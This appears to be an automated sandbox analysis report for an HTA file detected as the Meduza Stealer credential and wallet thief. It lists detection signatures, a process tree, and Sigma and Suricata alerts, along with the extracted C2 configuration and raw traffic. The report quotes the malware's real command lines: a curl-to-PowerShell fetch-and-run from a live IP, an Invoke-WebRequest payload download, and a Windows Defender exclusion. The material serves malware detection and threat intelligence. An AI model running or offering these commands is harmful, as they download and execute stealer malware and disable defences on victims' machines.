Edit tour

Windows Analysis Report
script.hta

Overview

General Information

Sample name:	script.hta
Analysis ID:	1578050
MD5:	4041595b42e7b6e2ce5965cb76ea7da1
SHA1:	401723ee1ac651ad359b89dd7e3cefea91d6aaa9
SHA256:	054a6b8b84efa1127eca70abdba55e0f59fc96157504e5c9dcf0d6ff8386717f
Tags:	htauser-lontze7
Infos:

Detection

CredGrabber, Meduza Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CredGrabber

Yara detected Meduza Stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Bypasses PowerShell execution policy

Found many strings related to Crypto-Wallets (likely being stolen)

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Powershell drops PE file

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious MSHTA Child Process

Sigma detected: Suspicious Script Execution From Temp Folder

Suspicious command line found

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to modify clipboard data

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found evasive API chain checking for process token information

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Queries time zone information

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Terminates after testing mutex exists (may check infected machine status)

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6344 cmdline: mshta.exe "C:\Users\user\Desktop\script.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 5820 cmdline: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command - MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 4144 cmdline: curl -s http://147.45.47.15/script.ps1 MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 3736 cmdline: powershell -NoProfile -ExecutionPolicy Bypass -Command - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

Launcher.exe (PID: 6676 cmdline: "C:\Windows\Temp\Launcher.exe" MD5: 2696D944FFBEF69510B0C826446FD748)

powershell.exe (PID: 1908 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 6696 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7280 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

powershell.exe (PID: 7348 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

io12j1es.2tm.exe (PID: 7540 cmdline: "C:\Windows\Temp\io12j1es.2tm.exe" MD5: C6813DA66EBA357D0DEAA48C2F7032B8)

cleanup

Malware Configuration

Threatname: Meduza Stealer

{"C2 url": "193.3.19.151", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt", "build_name": "hdont", "links": "", "port": 15666}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\io12j1es.2tm.exe	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: io12j1es.2tm.exe PID: 7540	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
Process Memory Space: io12j1es.2tm.exe PID: 7540	JoeSecurity_CredGrabber	Yara detected CredGrabber	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
12.0.io12j1es.2tm.exe.7ff6f1d50000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security
12.2.io12j1es.2tm.exe.7ff6f1d50000.0.unpack	JoeSecurity_MeduzaStealer	Yara detected Meduza Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 6676, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 1908, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 6676, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 1908, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 6676, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", ProcessId: 7348, ProcessName: powershell.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\script.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 6344, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, ProcessId: 5820, ProcessName: cmd.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 6676, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'", ProcessId: 1908, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5820, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -Command -, ProcessId: 3736, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", CommandLine|base64offset|contains: *&, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\Temp\Launcher.exe" , ParentImage: C:\Windows\Temp\Launcher.exe, ParentProcessId: 6676, ParentProcessName: Launcher.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'", ProcessId: 7348, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\script.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 6344, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, ProcessId: 5820, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine: powershell -NoProfile -ExecutionPolicy Bypass -Command -, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 | powershell -NoProfile -ExecutionPolicy Bypass -Command -, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5820, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -NoProfile -ExecutionPolicy Bypass -Command -, ProcessId: 3736, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:11:59.129786+0100	2049441	1	A Network Trojan was detected	192.168.2.4	49740	193.3.19.151	15666	TCP

ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:11:59.129786+0100	2050806	1	A Network Trojan was detected	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.249727+0100	2050806	1	A Network Trojan was detected	192.168.2.4	49740	193.3.19.151	15666	TCP

ET MALWARE [ANY.RUN] Possible Meduza Stealer Exfiltration (TCP)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:11:59.129786+0100	2050807	1	A Network Trojan was detected	192.168.2.4	49740	193.3.19.151	15666	TCP
2024-12-19T08:11:59.249727+0100	2050807	1	A Network Trojan was detected	192.168.2.4	49740	193.3.19.151	15666	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T08:11:41.306717+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49734	147.45.47.15	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://147.45.47.15/duschno.exe

Avira URL Cloud: Label: malware

Found malware configuration

Source: 12.2.io12j1es.2tm.exe.7ff6f1d50000.0.unpack

Malware Configuration Extractor: Meduza Stealer {"C2 url": "193.3.19.151", "grabber_max_size": 4194304, "anti_vm": true, "anti_dbg": true, "self_destruct": false, "extensions": ".txt", "build_name": "hdont", "links": "", "port": 15666}

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\io12j1es.2tm.exe	ReversingLabs: Detection: 83%
Source: C:\Windows\Temp\iviewers.dll	ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: script.hta

Virustotal: Detection: 14%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Windows\Temp\io12j1es.2tm.exe

Joe Sandbox ML: detected

Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC7BA0 CryptUnprotectData,LocalFree,	12_2_00007FF6F1DC7BA0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC8440 BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGenerateSymmetricKey,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,Concurrency::cancel_current_task,	12_2_00007FF6F1DC8440
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC83C0 BCryptCloseAlgorithmProvider,_invalid_parameter_noinfo_noreturn,	12_2_00007FF6F1DC83C0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D83A30 BCryptDestroyKey,	12_2_00007FF6F1D83A30
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1D87C20 CryptUnprotectData,LocalFree,_invalid_parameter_noinfo_noreturn,	12_2_00007FF6F1D87C20
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC7EC0 CryptProtectData,LocalFree,	12_2_00007FF6F1DC7EC0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DC8020 BCryptDecrypt,BCryptDecrypt,_invalid_parameter_noinfo_noreturn,	12_2_00007FF6F1DC8020

Source: unknown

HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.4:49741 version: TLS 1.2

Source:

Binary string: OLEView.pdb source: Launcher.exe, Launcher.exe, 00000006.00000002.1872877961.0000000000B51000.00000020.00000001.01000000.0000000D.sdmp, Launcher.exe.5.dr

Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0B500 FindClose,FindFirstFileExW,GetLastError,		12_2_00007FF6F1E0B500
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0B5B0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		12_2_00007FF6F1E0B5B0

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DD73F0 GetLogicalDriveStringsW,_invalid_parameter_noinfo_noreturn,

12_2_00007FF6F1DD73F0

Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049441 - Severity 1 - ET MALWARE Win32/Unknown Grabber Base64 Data Exfiltration Attempt : 192.168.2.4:49740 -> 193.3.19.151:15666
Source: Network traffic	Suricata IDS: 2050806 - Severity 1 - ET MALWARE [ANY.RUN] Meduza Stealer Exfiltration M2 : 192.168.2.4:49740 -> 193.3.19.151:15666

Source: global traffic

TCP traffic: 192.168.2.4:49740 -> 193.3.19.151:15666

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:11:40 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 18 Dec 2024 13:27:42 GMTETag: "1800-6298b60de3f6f"Accept-Ranges: bytesContent-Length: 6144Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 65 61 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 0c 00 00 00 08 00 00 00 00 00 00 ae 2b 00 00 00 20 00 00 00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 04 40 00 00 28 00 00 00 5c 2b 00 00 4f 00 00 00 00 60 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b4 0b 00 00 00 20 00 00 00 0c 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 73 64 61 74 61 00 00 56 00 00 00 00 40 00 00 00 02 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 03 00 00 00 60 00 00 00 04 00 00 00 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 00 00 00 02 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 19 Dec 2024 07:11:41 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Wed, 18 Dec 2024 13:27:42 GMTETag: "325e0-6298b60deeb4f"Accept-Ranges: bytesContent-Length: 206304Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ae 14 73 f9 ea 75 1d aa ea 75 1d aa ea 75 1d aa fe 1e 1e ab e2 75 1d aa fe 1e 1c ab fd 75 1d aa ea 75 1c aa ae 77 1d aa fe 1e 18 ab c4 75 1d aa fe 1e 19 ab a5 75 1d aa fe 1e e2 aa eb 75 1d aa fe 1e 1f ab eb 75 1d aa 52 69 63 68 ea 75 1d aa 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 9e e4 2e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 14 00 16 02 00 00 f2 00 00 00 00 00 00 a0 f0 01 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 05 00 01 00 00 00 00 00 00 30 03 00 00 04 00 00 26 47 03 00 02 00 40 c1 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 48 02 00 f0 00 00 00 00 60 02 00 90 96 00 00 00 00 00 00 00 00 00 00 00 04 03 00 e0 21 00 00 00 00 03 00 18 2a 00 00 f0 9e 00 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 9f 00 00 18 00 00 00 48 9f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 6c 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 54 14 02 00 00 10 00 00 00 16 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 74 0e 00 00 00 30 02 00 00 08 00 00 00 1a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 2c 1d 00 00 00 40 02 00 00 1e 00 00 00 22 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 90 96 00 00 00 60 02 00 00 98 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 18 2a 00 00 00 00 03 00 00 2c 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 